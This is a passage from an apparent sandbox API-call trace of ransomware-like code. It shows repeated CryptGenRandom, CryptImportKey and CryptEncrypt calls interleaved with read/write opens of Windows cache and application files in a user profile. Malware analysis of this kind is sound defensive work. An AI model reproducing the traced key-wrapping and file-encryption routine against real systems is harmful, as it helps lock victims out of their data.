pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.719] CryptEncrypt (in: hKey=0x677e088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc6e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.719] GetLastError () returned 0x0 [0246.719] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.719] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0246.738] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e0c8) returned 1 [0246.738] CryptGetKeyParam (in: hKey=0x677e0c8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.738] CryptEncrypt (in: hKey=0x677e0c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc6f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc6f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.738] GetLastError () returned 0x0 [0246.738] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0246.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.741] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.747] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.747] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.751] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.751] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.754] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e188) returned 1 [0246.754] CryptGetKeyParam (in: hKey=0x677e188, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.754] CryptEncrypt (in: hKey=0x677e188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc700000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc700000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.754] GetLastError () returned 0x0 [0246.754] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.754] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.756] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e208) returned 1 [0246.756] CryptGetKeyParam (in: hKey=0x677e208, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.756] CryptEncrypt (in: hKey=0x677e208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc710000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc710000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.756] GetLastError () returned 0x0 [0246.756] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.756] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.786] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.789] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.791] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.791] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.791] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.791] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.793] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.795] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.795] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.795] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.795] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0246.798] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e848) returned 1 [0246.798] CryptGetKeyParam (in: hKey=0x677e848, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.798] CryptEncrypt (in: hKey=0x677e848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc720000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc720000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.798] GetLastError () returned 0x0 [0246.798] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.798] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.801] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e888) returned 1 [0246.801] CryptGetKeyParam (in: hKey=0x677e888, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.801] CryptEncrypt (in: hKey=0x677e888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc730000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc730000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.801] GetLastError () returned 0x0 [0246.801] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.801] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.844] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0246.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.849] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.849] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.849] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.853] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.853] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0246.855] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677e908) returned 1 [0246.855] CryptGetKeyParam (in: hKey=0x677e908, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.856] CryptEncrypt (in: hKey=0x677e908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc740000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc740000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0246.856] GetLastError () returned 0x0 [0246.856] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0246.856] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0246.857] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677ee08) returned 1 [0246.857] CryptGetKeyParam (in: hKey=0x677ee08, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0246.857] CryptEncrypt (in: hKey=0x677ee08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc750000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc750000*, pdwDataLen=0x285db40*=0x100) returned 1 [0246.858] GetLastError () returned 0x0 [0246.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.858] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.896] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0246.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.902] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0246.902] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.902] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0246.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.907] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0246.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.907] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0246.909] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ea88) returned 1 [0246.910] CryptGetKeyParam (in: hKey=0x677ea88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.910] CryptEncrypt (in: hKey=0x677ea88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc760000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc760000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0246.910] GetLastError () returned 0x0 [0246.910] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.910] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0246.912] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677eac8) returned 1 [0246.912] CryptGetKeyParam (in: hKey=0x677eac8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.912] CryptEncrypt (in: hKey=0x677eac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc770000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc770000*, pdwDataLen=0x285d630*=0x100) returned 1 [0246.912] GetLastError () returned 0x0 [0246.912] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.BioEnrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.bioenrollment_10.0.10240.16384_neutral__cw5n1h2txyewy\\3782802250\\2924287686.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.916] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0246.921] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.923] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0246.923] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.923] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0246.927] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.930] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.930] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0246.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.930] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0246.932] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677efc8) returned 1 [0246.932] CryptGetKeyParam (in: hKey=0x677efc8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.932] CryptEncrypt (in: hKey=0x677efc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc780000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc780000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0246.933] GetLastError () returned 0x0 [0246.933] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.933] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0246.934] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677e8c8) returned 1 [0246.934] CryptGetKeyParam (in: hKey=0x677e8c8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.934] CryptEncrypt (in: hKey=0x677e8c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc790000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc790000*, pdwDataLen=0x285d630*=0x100) returned 1 [0246.935] GetLastError () returned 0x0 [0246.935] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.935] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.LockApp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.lockapp_10.0.10240.16384_neutral__cw5n1h2txyewy\\1978304864\\923683402.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.936] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0246.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.942] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.942] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0246.942] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.942] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0246.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.946] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.946] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0246.946] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.946] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0246.949] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ea48) returned 1 [0246.949] CryptGetKeyParam (in: hKey=0x677ea48, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.949] CryptEncrypt (in: hKey=0x677ea48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc7a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc7a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0246.949] GetLastError () returned 0x0 [0246.949] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.949] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0246.951] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f008) returned 1 [0246.951] CryptGetKeyParam (in: hKey=0x677f008, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.951] CryptEncrypt (in: hKey=0x677f008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc7b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc7b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0246.951] GetLastError () returned 0x0 [0246.951] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Microsoft.MicrosoftEdge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\microsoft.microsoftedge_20.10240.16384.0_neutral__8wekyb3d8bbwe\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.955] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0246.958] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.960] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.961] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0246.961] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0246.961] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0246.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.965] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.965] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0246.965] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.966] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0246.968] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ebc8) returned 1 [0246.968] CryptGetKeyParam (in: hKey=0x677ebc8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.968] CryptEncrypt (in: hKey=0x677ebc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc7c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc7c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0246.968] GetLastError () returned 0x0 [0246.968] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.968] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0246.970] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ef08) returned 1 [0246.970] CryptGetKeyParam (in: hKey=0x677ef08, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0246.970] CryptEncrypt (in: hKey=0x677ef08, hHash=0x0, Final=1, dwFlags=0x0, 